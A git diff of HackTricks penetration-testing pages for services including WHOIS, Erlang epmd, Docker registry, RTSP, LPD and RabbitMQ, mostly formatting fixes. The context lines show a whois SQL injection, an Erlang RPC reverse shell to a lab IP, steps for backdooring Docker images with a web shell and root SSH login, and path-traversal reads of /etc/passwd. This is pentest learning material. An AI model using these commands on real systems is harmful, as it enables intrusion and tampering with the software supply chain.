**querying** the database from some information provided by the user. For example doing: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` you could be able to **extract all** the **information** saved in the database. @@ -32,7 +32,7 @@ Also, the WHOIS service always needs to use a **database** to store and extract ## HackTricks Automatic Commands -```text +``` Protocol_Name: WHOIS #Protocol Abbreviation if there is one. Port_Number: 43 #Comma separated if there is more than one. Protocol_Description: WHOIS #Protocol Abbreviation Spelled out @@ -50,4 +50,3 @@ Entry_2: Description: Grab WHOIS Banner Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 43 ``` - diff --git a/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md b/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md index 70d09de6..0c7f88fa 100644 --- a/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md +++ b/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md @@ -1,12 +1,12 @@ -# 4369 - Pentesting Erlang Port Mapper Daemon \(epmd\) +# 4369 - Pentesting Erlang Port Mapper Daemon (epmd) ## Basic Info -The erlang port mapper daemon is used to coordinate distributed erlang instances. His job is to **keep track of which node name listens on which address**. Hence, epmd map symbolic node names to machine addresses. +The erlang port mapper daemon is used to coordinate distributed erlang instances. His job is to** keep track of which node name listens on which address**. Hence, epmd map symbolic node names to machine addresses. **Default port**: 4369 -```text +``` PORT STATE SERVICE VERSION 4369/tcp open epmd Erlang Port Mapper Daemon ``` @@ -48,7 +48,7 @@ PORT STATE SERVICE VERSION ### Remote Connection -If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z\] with a length of 20 characters. +If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z] with a length of 20 characters. ```bash greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn @@ -62,10 +62,10 @@ At last, we can start an erlang shell on the remote system. "uid=0(root) gid=0(root) groups=0(root)\n" ``` -More information in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/) +More information in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\ The author also share a program to brutforce the cookie: -{% file src="../.gitbook/assets/epmd\_bf-0.1.tar.bz2" %} +{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %} ### Local Connection @@ -78,8 +78,8 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]). ``` -Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html\#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) -You can use **Canape HTB machine to** **practice** how to **exploit this vuln**. +Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\ +You can use **Canape HTB machine to** **practice **how to **exploit this vuln**. ### Metasploit @@ -91,4 +91,3 @@ msf5> use exploit/multi/misc/erlang_cookie_rce ## Shodan * `port:4369 "at port"` - diff --git a/pentesting/44818-ethernetip.md b/pentesting/44818-ethernetip.md index 0d275915..2cc8f85f 100644 --- a/pentesting/44818-ethernetip.md +++ b/pentesting/44818-ethernetip.md @@ -8,12 +8,12 @@ From Wikipedia article on EtherNet/IP [http://en.wikipedia.org/wiki/EtherNet/IP] > EtherNet/IP is most commonly used in industrial automation control systems, such as for water processing plants, manufacturing facilities and utilities. Several control system vendors have developed programmable automation controllers and I/O capable of communicating via EtherNet/IP. -An EtherNet/IP device is positively identified by querying TCP/44818 with a list Identities Message \(0x63\). The response messages will determine if it is a EtherNet/IP device and parse the information to enumerate the device. +An EtherNet/IP device is positively identified by querying TCP/44818 with a list Identities Message (0x63). The response messages will determine if it is a EtherNet/IP device and parse the information to enumerate the device.\ From [here](https://github.com/digitalbond/Redpoint) -**Default port:** 44818 UDP/TCP +**Default port: **44818 UDP/TCP -```text +``` PORT STATE SERVICE 44818/tcp open EtherNet/IP ``` @@ -29,4 +29,3 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity ## Shodan * `port:44818 "product name"` - diff --git a/pentesting/5000-pentesting-docker-registry.md b/pentesting/5000-pentesting-docker-registry.md index 725dab8d..1886d2dd 100644 --- a/pentesting/5000-pentesting-docker-registry.md +++ b/pentesting/5000-pentesting-docker-registry.md @@ -2,36 +2,36 @@ ## Basic Information -**Info from** [**here**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.** +**Info from **[**here**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.** -A **Docker registry** is a storage and distribution system for named Docker images. The same image might have multiple different versions, identified by their tags. -A Docker registry is organized into **Docker repositories** , where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry \(given adequate access permissions when applicable\). +A **Docker registry **is a storage and distribution system for named Docker images. The same image might have multiple different versions, identified by their tags.\ +A Docker registry is organized into **Docker repositories **, where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry (given adequate access permissions when applicable). -By default, the Docker engine interacts with **DockerHub** , Docker’s public registry instance. However, it is possible to run on-premise the open-source Docker registry/distribution, as well as a commercially supported version called **Docker Trusted Registry** . There are other public registries available online. +By default, the Docker engine interacts with **DockerHub **, Docker’s public registry instance. However, it is possible to run on-premise the open-source Docker registry/distribution, as well as a commercially supported version called **Docker Trusted Registry **. There are other public registries available online. To pull an image from an on-premises registry, you could run a command similar to: -```text +``` docker pull my-registry:9000/foo/bar:2.1 ``` -where you pull the version of `foo/bar` image with tag `2.1` from our on-premise registry located at `my-registry` domain, port `9000` . +where you pull the version of `foo/bar` image with tag `2.1 `from our on-premise registry located at `my-registry `domain, port `9000 `.\ If you used DockerHub instead, and 2.1 was also the latest version, you could run this command to pull the same image locally: -```text +``` docker pull foo/bar ``` **Default port:** 5000 -```text +``` PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0) ``` ## Discovering -The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it. +The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.\ Some fingerprints: * If you access `/` nothing is returned in the response @@ -44,7 +44,7 @@ Some fingerprints: ### HTTP/HTTPS -Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured: +Docker registry may be configured to use **HTTP **or **HTTPS**. So the first thing you may need to do is **find which one** is being configured: ```bash curl -s http://10.10.10.10:5000/v2/_catalog @@ -69,7 +69,7 @@ curl -k https://192.25.197.3:5000/v2/_catalog {"repositories":["alpine","ubuntu"]} ``` -If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](../brute-force.md#docker-registry). +If the Docker Registry is requiring authentication you can[** try to brute force it using this**](../brute-force.md#docker-registry).\ **If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this: ```bash @@ -170,8 +170,8 @@ docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container ### Backdooring WordPress image -In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it. -**Create** the **backdoor**: +In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.\ +**Create **the **backdoor**: {% code title="shell.php" %} ```bash @@ -189,7 +189,7 @@ RUN chmod 777 /app/shell.php ``` {% endcode %} -**Create** the new image, **check** it's created, and **push** it: +**Create **the new image, **check **it's created, and **push **it: ```bash docker build -t 10.10.10.10:5000/wordpress . #Create @@ -199,8 +199,8 @@ docker push registry:5000/wordpress #Push it ### Backdooring SSH server image -Suppose that you found a Docker Registry with a SSH image and you want to backdoor it. -**Download** the image and **run** it: +Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.\ +**Download **the image and **run **it: ```bash docker pull 10.10.10.10:5000/sshd-docker-cli @@ -215,7 +215,7 @@ docker cp 4c989242c714:/etc/ssh/sshd_config . And modify it to set: `PermitRootLogin yes` -Create a **Dockerfile** like the following one: +Create a **Dockerfile **like the following one: {% tabs %} {% tab title="Dockerfile" %} @@ -227,11 +227,10 @@ RUN echo root:password | chpasswd {% endtab %} {% endtabs %} -**Create** the new image, **check** it's created, and **push** it: +**Create **the new image, **check **it's created, and **push **it: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` - diff --git a/pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md b/pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md index a0c013da..9bff802c 100644 --- a/pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md +++ b/pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md @@ -1,24 +1,23 @@ # 50030,50060,50070,50075,50090 - Pentesting Hadoop -**Information taken from the book** [**Network Security Assesment 3rd Edition**](https://www.amazon.com/Network-Security-Assessment-Know-Your-ebook/dp/B01N6E0BG2)\*\*\*\* +**Information taken from the book **[**Network Security Assesment 3rd Edition**](https://www.amazon.com/Network-Security-Assessment-Know-Your-ebook/dp/B01N6E0BG2)**** ## **Basic Information** -Apache Hadoop is an open source framework supporting the distributed storage and processing of large datasets using computer clusters. Storage is handled by the Hadoop Distributed File System \(HDFS\) and processing is performed by using MapReduce and other applications \(e.g., Apache Storm, Flink, and Spark\) via YARN. +Apache Hadoop is an open source framework supporting the distributed storage and processing of large datasets using computer clusters. Storage is handled by the Hadoop Distributed File System (HDFS) and processing is performed by using MapReduce and other applications (e.g., Apache Storm, Flink, and Spark) via YARN. -![](../.gitbook/assets/image%20%28145%29.png) +![](<../.gitbook/assets/image (139).png>) Figure 15-1. Hadoop 2.0 architecture -You can query MapReduce and HDFS services by using the Nmap scripts listed in the following table \(including details of the default ports\). At the time of writing, Metasploit does not support Hadoop. +You can query MapReduce and HDFS services by using the Nmap scripts listed in the following table (including details of the default ports). At the time of writing, Metasploit does not support Hadoop. -| **Script name** | **Port** | **Purpose** | -| :--- | :--- | :--- | -| hadoop-jobtracker-info | 50030 | Retrieve information from MapReduce job and task tracker services | -| hadoop-tasktracker-info | 50060 | | -| hadoop-namenode-info | 50070 | Retrieve info from HDFS name node | -| hadoop-datanode-info | 50075 | Retrieve info from HDFS data node | -| hadoop-secondary-namenode-info | 50090 | Retrieve info from HDFS secondary name node | +| **Script name** | **Port** | **Purpose** | +| ------------------------------ | -------- | ----------------------------------------------------------------- | +| hadoop-jobtracker-info | 50030 | Retrieve information from MapReduce job and task tracker services | +| hadoop-tasktracker-info | 50060 | | +| hadoop-namenode-info | 50070 | Retrieve info from HDFS name node | +| hadoop-datanode-info | 50075 | Retrieve info from HDFS data node | +| hadoop-secondary-namenode-info | 50090 | Retrieve info from HDFS secondary name node | Lightweight Python and Go HDFS clients are available online. Hadoop runs without authentication by default. You can configure HDFS, YARN, and MapReduce services to use Kerberos. - diff --git a/pentesting/512-pentesting-rexec.md b/pentesting/512-pentesting-rexec.md index 53bcb132..7e73bbbc 100644 --- a/pentesting/512-pentesting-rexec.md +++ b/pentesting/512-pentesting-rexec.md @@ -2,14 +2,13 @@ ## Basic Information -It is a service that **allows you to execute a command inside a host** if you know valid **credentials** \(username and password\). +It is a service that **allows you to execute a command inside a host** if you know valid **credentials **(username and password). **Default Port:** 512 -```text +``` PORT STATE SERVICE 512/tcp open exec ``` -### \*\*\*\*[**Brute-force**](../brute-force.md#rexec)\*\*\*\* - +### ****[**Brute-force**](../brute-force.md#rexec)**** diff --git a/pentesting/515-pentesting-line-printer-daemon-lpd.md b/pentesting/515-pentesting-line-printer-daemon-lpd.md index c5c02f88..27454c1c 100644 --- a/pentesting/515-pentesting-line-printer-daemon-lpd.md +++ b/pentesting/515-pentesting-line-printer-daemon-lpd.md @@ -1,11 +1,11 @@ -# 515 - Pentesting Line Printer Daemon \(LPD\) +# 515 - Pentesting Line Printer Daemon (LPD) -The Line Printer Daemon \(LPD\) protocol had originally been introduced in Berkeley Unix in the 80s \(later specified by RFC1179\). -The daemon runs on port 515/tcp and can be accessed using the `lpr`command. To print, the client sends a **control file** defining job/username and a **data file** containing the actual data to be printed. The **input type** of the data file can be set in the control file by choosing among **various file formats**. However it is up to the LPD implementation how to actually handle the print data. A popular LPD implementation for Unix-like operating system is LPRng. LPD can be used as a carrier to deploy **malicious PostScript** or **PJL print jobs**. +The Line Printer Daemon (LPD) protocol had originally been introduced in Berkeley Unix in the 80s (later specified by RFC1179).\ +The daemon runs on port 515/tcp and can be accessed using the `lpr`command. To print, the client sends a **control file** defining job/username and a **data file** containing the actual data to be printed. The **input type** of the data file can be set in the control file by choosing among **various file formats**. However it is up to the LPD implementation how to actually handle the print data. A popular LPD implementation for Unix-like operating system is LPRng. LPD can be used as a carrier to deploy **malicious PostScript **or **PJL print jobs**. -The `lpdprint` and `lpdtest` tools are included in [**PRET**](https://github.com/RUB-NDS/PRET)**.** They are a minimalist way to print data directly to an LPD capable printer or download/upload/delete files and more: +The `lpdprint` and `lpdtest` tools are included in [**PRET**](https://github.com/RUB-NDS/PRET)**. **They are a minimalist way to print data directly to an LPD capable printer or download/upload/delete files and more: -```text +``` lpdprint.py hostname filename lpdtest.py hostname get /etc/passwd lpdtest.py hostname put ../../etc/passwd @@ -19,4 +19,3 @@ If you want to learn more about [**hacking printers read this page**](pentesting ## Shodan * `port 515` - diff --git a/pentesting/5353-udp-multicast-dns-mdns.md b/pentesting/5353-udp-multicast-dns-mdns.md index 6d0bfbd2..862005b3 100644 --- a/pentesting/5353-udp-multicast-dns-mdns.md +++ b/pentesting/5353-udp-multicast-dns-mdns.md @@ -1,11 +1,11 @@ -# 5353/UDP Multicast DNS \(mDNS\) +# 5353/UDP Multicast DNS (mDNS) ## Basic Information -Apple Bonjour and Linux zero-configuration networking implementations \(e.g., Avahi\) use mDNS to discover network peripherals within the local network. -**Default port:** 5353/UDP +Apple Bonjour and Linux zero-configuration networking implementations (e.g., Avahi) use mDNS to discover network peripherals within the local network.\ +**Default port: **5353/UDP -```text +``` PORT STATE SERVICE 5353/udp open zeroconf ``` @@ -29,4 +29,3 @@ PORT STATE SERVICE | 445/tcp smb | Address=192.168.1.2 ``` - diff --git a/pentesting/554-8554-pentesting-rtsp.md b/pentesting/554-8554-pentesting-rtsp.md index ba0c09aa..77fab073 100644 --- a/pentesting/554-8554-pentesting-rtsp.md +++ b/pentesting/554-8554-pentesting-rtsp.md @@ -2,15 +2,15 @@ ## Basic Information -> The **Real Time Streaming Protocol** \(**RTSP**\) is a network control protocol designed for use in entertainment and communications systems to control streaming media servers. The protocol is used for establishing and controlling media sessions between end points. Clients of media servers issue VHS-style commands, such as play, record and pause, to facilitate real-time control of the media streaming from the server to a client \(Video On Demand\) or from a client to the server \(Voice Recording\). +> The **Real Time Streaming Protocol** (**RTSP**) is a network control protocol designed for use in entertainment and communications systems to control streaming media servers. The protocol is used for establishing and controlling media sessions between end points. Clients of media servers issue VHS-style commands, such as play, record and pause, to facilitate real-time control of the media streaming from the server to a client (Video On Demand) or from a client to the server (Voice Recording). > -> The transmission of streaming data itself is not a task of RTSP. Most RTSP servers use the Real-time Transport Protocol \(RTP\) in conjunction with Real-time Control Protocol \(RTCP\) for media stream delivery. However, some vendors implement proprietary transport protocols. The RTSP server software from RealNetworks, for example, also used RealNetworks' proprietary Real Data Transport \(RDT\). +> The transmission of streaming data itself is not a task of RTSP. Most RTSP servers use the Real-time Transport Protocol (RTP) in conjunction with Real-time Control Protocol (RTCP) for media stream delivery. However, some vendors implement proprietary transport protocols. The RTSP server software from RealNetworks, for example, also used RealNetworks' proprietary Real Data Transport (RDT). From [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol). **Default ports:** 554,8554 -```text +``` PORT STATE SERVICE 554/tcp open rtsp ``` @@ -21,7 +21,7 @@ First and foremost RTSP is an HTTP like protocol. It has different structure and [RTSP – RFC2326](https://tools.ietf.org/html/rfc2326) -RTSP can be accessed unauthenticated \(common in off-the-shelf devices\) or authenticated. Authenticated access mirrors HTTP in that you have Basic and Digest authentication, both nearly identical to HTTP. To find out whether your device is authenticated or unauthenticated, simply send a “DESCRIBE” request. A simple DESCRIBE request looks like: +RTSP can be accessed unauthenticated (common in off-the-shelf devices) or authenticated. Authenticated access mirrors HTTP in that you have Basic and Digest authentication, both nearly identical to HTTP. To find out whether your device is authenticated or unauthenticated, simply send a “DESCRIBE” request. A simple DESCRIBE request looks like: `DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r\n\r\n` @@ -33,9 +33,9 @@ If the device requires authentication, the the response back will contain “401 If Digest authentication is required, then the “401 Unauthorized” response will have an information line containing “WWW-Authenticate: Digest”. The information with the Digest specification IS very important if you are going to do Digest authentication, so don’t ignore it. -Basic authentication is the way to go, hopefully the response received indicates that it is available. If not there are three different methods to assemble a Digest authentication element, so Digest can become troublesome, especially blind \(unauthenticated\). The rest of this article will stick with Basic authentication. I may write a follow-up article later once I decipher the secret sauce to doing Digest authentication blind. +Basic authentication is the way to go, hopefully the response received indicates that it is available. If not there are three different methods to assemble a Digest authentication element, so Digest can become troublesome, especially blind (unauthenticated). The rest of this article will stick with Basic authentication. I may write a follow-up article later once I decipher the secret sauce to doing Digest authentication blind. -To formulate a Basic authentication element, one simple has to base 64 encode <username> “:” <password> and add it to the request. So a new request would look like: +To formulate a Basic authentication element, one simple has to base 64 encode \ “:” \ and add it to the request. So a new request would look like: `DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n` @@ -55,11 +55,11 @@ print data Voila! You have access. -**From:** [**http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/**](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)\*\*\*\* +**From: **[**http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/**](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)**** ## Enumeration -Lets get information about valid methods and URLs are supported and try to brute-force the access \(if needed\) to get access to the content. +Lets get information about valid methods and URLs are supported and try to brute-force the access (if needed) to get access to the content. ```bash nmap -sV --scripts "rtsp-*" -p @@ -69,15 +69,15 @@ nmap -sV --scripts "rtsp-*" -p ### **Other useful programs** -To bruteforce: [https://github.com/Tek-Security-Group/rtsp\_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder) +To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder) **Cameradar** Cameradar allows you to: * Detect open RTSP hosts on any accessible target -* Get their public info \(hostname, port, camera model, etc.\) -* Launch automated dictionary attacks to get their stream route \(for example /live.sdp\) +* Get their public info (hostname, port, camera model, etc.) +* Launch automated dictionary attacks to get their stream route (for example /live.sdp) * Launch automated dictionary attacks to get the username and password of the cameras * Generate thumbnails from them to check if the streams are valid and to have a quick preview of their content * Try to create a Gstreamer pipeline to check if they are properly encoded @@ -85,5 +85,3 @@ Cameradar allows you to: [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar) - - diff --git a/pentesting/5601-pentesting-kibana.md b/pentesting/5601-pentesting-kibana.md index d52b66c5..03bf5251 100644 --- a/pentesting/5601-pentesting-kibana.md +++ b/pentesting/5601-pentesting-kibana.md @@ -6,17 +6,17 @@ Kibana provides search and data visualization capabilities for data indexed in E ### Authentication? -Authentication in Kibana is linked to the **credentials from** [**Elasticsearch**](9200-pentesting-elasticsearch.md). If **authentication** is **disabled** in **Elasticsearch**, **Kibana** also should be **accessible without credentials**. Otherwise the **same credentials valid for Elasticsearch** should be working when logging in to Kibana. The **rights** of the **users** in **Elasticsearch** are the **same** as in **Kibana**. +Authentication in Kibana is linked to the** credentials from **[**Elasticsearch**](9200-pentesting-elasticsearch.md). If **authentication **is **disabled **in **Elasticsearch**, **Kibana **also should be **accessible without credentials**. Otherwise the **same credentials valid for Elasticsearch** should be working when logging in to Kibana. The **rights **of the **users **in **Elasticsearch **are the **same **as in **Kibana**. -You might find credentials in the configuration file **/etc/kibana/kibana.yml**. If those credentials are not for the user **kibana\_system**, it should be tried to use them for accessing further data. They could have more rights then the **kibana\_system** user, which only has access to the monitoring API and the **.kibana** index. +You might find credentials in the configuration file **/etc/kibana/kibana.yml**. If those credentials are not for the user **kibana_system**, it should be tried to use them for accessing further data. They could have more rights then the **kibana_system** user, which only has access to the monitoring API and the **.kibana** index. ### Having Access? When having access to Kibana you can do several things: -* Try to **access data** from **Elasticsearch** -* Check if you can access the users panel and if you can e**dit, delete or create new users,** roles or API Keys \(Stack Management -> Users/Roles/API Keys\) -* Check the current version for vulnerabilities \(**There was a RCE vulnerability in 2019 for Kibana versions < 6.6.0** \[[2](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)\]\) +* Try to **access data **from **Elasticsearch** +* Check if you can access the users panel and if you can e**dit, delete or create new users,** roles or API Keys (Stack Management -> Users/Roles/API Keys) +* Check the current version for vulnerabilities (**There was a RCE vulnerability in 2019 for Kibana versions < 6.6.0** \[[2](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)]) ### Enabled SSL/TLS? @@ -25,4 +25,3 @@ If SSL/TLS is not enabled, it should be evaluated, whether sensitive information ### References * [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/) - diff --git a/pentesting/5671-5672-pentesting-amqp.md b/pentesting/5671-5672-pentesting-amqp.md index dd01e983..c5a7dedd 100644 --- a/pentesting/5671-5672-pentesting-amqp.md +++ b/pentesting/5671-5672-pentesting-amqp.md @@ -2,13 +2,13 @@ ## Basic Information -**RabbitMQ** is a **message-queueing software** also known as a _message broker_ or _queue manager._ Simply said; it is software where queues are defined, to which applications connect in order to transfer a message or messages. -A **message can include any kind of information**. It could, for example, have information about a process or task that should start on another application \(which could even be on another server\), or it could be just a simple text message. The queue-manager software stores the messages until a receiving application connects and takes a message off the queue. The receiving application then processes the message. +**RabbitMQ **is a **message-queueing software** also known as a _message broker_ or _queue manager._ Simply said; it is software where queues are defined, to which applications connect in order to transfer a message or messages.\ +A **message can include any kind of information**. It could, for example, have information about a process or task that should start on another application (which could even be on another server), or it could be just a simple text message. The queue-manager software stores the messages until a receiving application connects and takes a message off the queue. The receiving application then processes the message.\ Definition from [here](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html). **Default port**: 5672,5671 -```text +``` PORT STATE SERVICE VERSION 5672/tcp open amqp RabbitMQ 3.1.5 (0-9) ``` @@ -50,20 +50,19 @@ PORT STATE SERVICE VERSION ## Other RabbitMQ ports -From [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) you can find that **rabbitmq uses several ports**: +From [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) you can find that** rabbitmq uses several ports**: -* **1883, 8883**: \([MQTT clients](http://mqtt.org/) without and with TLS, if the [MQTT plugin](https://www.rabbitmq.com/mqtt.html) is enabled. [**Learn more about how to pentest MQTT here**](1883-pentesting-mqtt-mosquitto.md). +* **1883, 8883**: ([MQTT clients](http://mqtt.org) without and with TLS, if the [MQTT plugin](https://www.rabbitmq.com/mqtt.html) is enabled. [**Learn more about how to pentest MQTT here**](1883-pentesting-mqtt-mosquitto.md). * **4369: epmd**, a peer discovery service used by RabbitMQ nodes and CLI tools. [**Learn more about how to pentest this service here**](4369-pentesting-erlang-port-mapper-daemon-epmd.md). * **5672, 5671**: used by AMQP 0-9-1 and 1.0 clients without and with TLS -* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) clients, [management UI](https://www.rabbitmq.com/management.html) and [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) \(only if the [management plugin](https://www.rabbitmq.com/management.html) is enabled\). [**Learn more about how to pentest this service here**](15672-pentesting-rabbitmq-management.md). -* 15674: STOMP-over-WebSockets clients \(only if the [Web STOMP plugin](https://www.rabbitmq.com/web-stomp.html) is enabled\) -* 15675: MQTT-over-WebSockets clients \(only if the [Web MQTT plugin](https://www.rabbitmq.com/web-mqtt.html) is enabled\) -* 15692: Prometheus metrics \(only if the [Prometheus plugin](https://www.rabbitmq.com/prometheus.html) is enabled\) -* 25672: used for inter-node and CLI tools communication \(Erlang distribution server port\) and is allocated from a dynamic range \(limited to a single port by default, computed as AMQP port + 20000\). Unless external connections on these ports are really necessary \(e.g. the cluster uses [federation](https://www.rabbitmq.com/federation.html) or CLI tools are used on machines outside the subnet\), these ports should not be publicly exposed. See [networking guide](https://www.rabbitmq.com/networking.html) for details. **Only 9 of these ports opened on the internet**. -* 35672-35682: used by CLI tools \(Erlang distribution client ports\) for communication with nodes and is allocated from a dynamic range \(computed as server distribution port + 10000 through server distribution port + 10010\). See [networking guide](https://www.rabbitmq.com/networking.html) for details. -* 61613, 61614: [STOMP clients](https://stomp.github.io/stomp-specification-1.2.html) without and with TLS \(only if the [STOMP plugin](https://www.rabbitmq.com/stomp.html) is enabled\). Less than 10 devices with this port open and mostly UDP for DHT nodes. +* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) clients, [management UI](https://www.rabbitmq.com/management.html) and [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (only if the [management plugin](https://www.rabbitmq.com/management.html) is enabled). [**Learn more about how to pentest this service here**](15672-pentesting-rabbitmq-management.md). +* 15674: STOMP-over-WebSockets clients (only if the [Web STOMP plugin](https://www.rabbitmq.com/web-stomp.html) is enabled) +* 15675: MQTT-over-WebSockets clients (only if the [Web MQTT plugin](https://www.rabbitmq.com/web-mqtt.html) is enabled) +* 15692: Prometheus metrics (only if the [Prometheus plugin](https://www.rabbitmq.com/prometheus.html) is enabled) +* 25672: used for inter-node and CLI tools communication (Erlang distribution server port) and is allocated from a dynamic range (limited to a single port by default, computed as AMQP port + 20000). Unless external connections on these ports are really necessary (e.g. the cluster uses [federation](https://www.rabbitmq.com/federation.html) or CLI tools are used on machines outside the subnet), these ports should not be publicly exposed. See [networking guide](https://www.rabbitmq.com/networking.html) for details. **Only 9 of these ports opened on the internet**. +* 35672-35682: used by CLI tools (Erlang distribution client ports) for communication with nodes and is allocated from a dynamic range (computed as server distribution port + 10000 through server distribution port + 10010). See [networking guide](https://www.rabbitmq.com/networking.html) for details. +* 61613, 61614: [STOMP clients](https://stomp.github.io/stomp-specification-1.2.html) without and with TLS (only if the [STOMP plugin](https://www.rabbitmq.com/stomp.html) is enabled). Less than 10 devices with this port open and mostly UDP for DHT nodes. ## Shodan * `AMQP` - diff --git a/pentesting/584-pentesting-afp.md b/pentesting/584-pentesting-afp.md index 4d215cfc..f1f6eeb3 100644 --- a/pentesting/584-pentesting-afp.md +++ b/pentesting/584-pentesting-afp.md @@ -1,12 +1,12 @@ -# 548 - Pentesting Apple Filing Protocol \(AFP\) +# 548 - Pentesting Apple Filing Protocol (AFP) ## Basic Information -The **Apple Filing Protocol** \(**AFP**\), formerly AppleTalk Filing Protocol, is a proprietary network protocol, and part of the **Apple File Service** \(**AFS**\), that offers file services for macOS and the classic Mac OS. In macOS, AFP is one of several file services supported**.** AFP currently supports Unicode file names, POSIX and access control list permissions, resource forks, named extended attributes, and advanced file locking. In Mac OS 9 and earlier, AFP was the primary protocol for file services. +The **Apple Filing Protocol** (**AFP**), formerly AppleTalk Filing Protocol, is a proprietary network protocol, and part of the **Apple File Service** (**AFS**), that offers file services for macOS and the classic Mac OS. In macOS, AFP is one of several file services supported**. **AFP currently supports Unicode file names, POSIX and access control list permissions, resource forks, named extended attributes, and advanced file locking. In Mac OS 9 and earlier, AFP was the primary protocol for file services. **Default port:** 548 -```text +``` PORT STATE SERVICE 548/tcp open afp ``` @@ -18,12 +18,11 @@ msf> use auxiliary/scanner/afp/afp_server_info nmap -sV --script "afp-* and not dos and not brute" -p ``` -| **Name** | **Description** | -| :--- | :--- | -| afp-ls | Lists available AFP volumes and files | -| afp-path-vuln | Lists all AFP volumes and files[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch15.html#ch15fn48) | -| afp-serverinfo | Displays AFP server information | -| afp-showmount | Lists available AFP shares and respective ACLs | - -### [**Brute Force**](../brute-force.md#afp)\*\*\*\* +| **Name** | **Description** | +| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | +| afp-ls | Lists available AFP volumes and files | +| afp-path-vuln | Lists all AFP volumes and files[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch15.html#ch15fn48) | +| afp-serverinfo | Displays AFP server information | +| afp-showmount | Lists available AFP shares and respective ACLs | +### [**Brute Force**](../brute-force.md#afp)**** diff --git a/pentesting/5985-5986-pentesting-winrm.md b/pentesting/5985-5986-pentesting-winrm.md index eab8780e..642f1ba8 100644 --- a/pentesting/5985-5986-pentesting-winrm.md +++ b/pentesting/5985-5986-pentesting-winrm.md @@ -4,14 +4,14 @@ ## WinRM -[Windows Remote 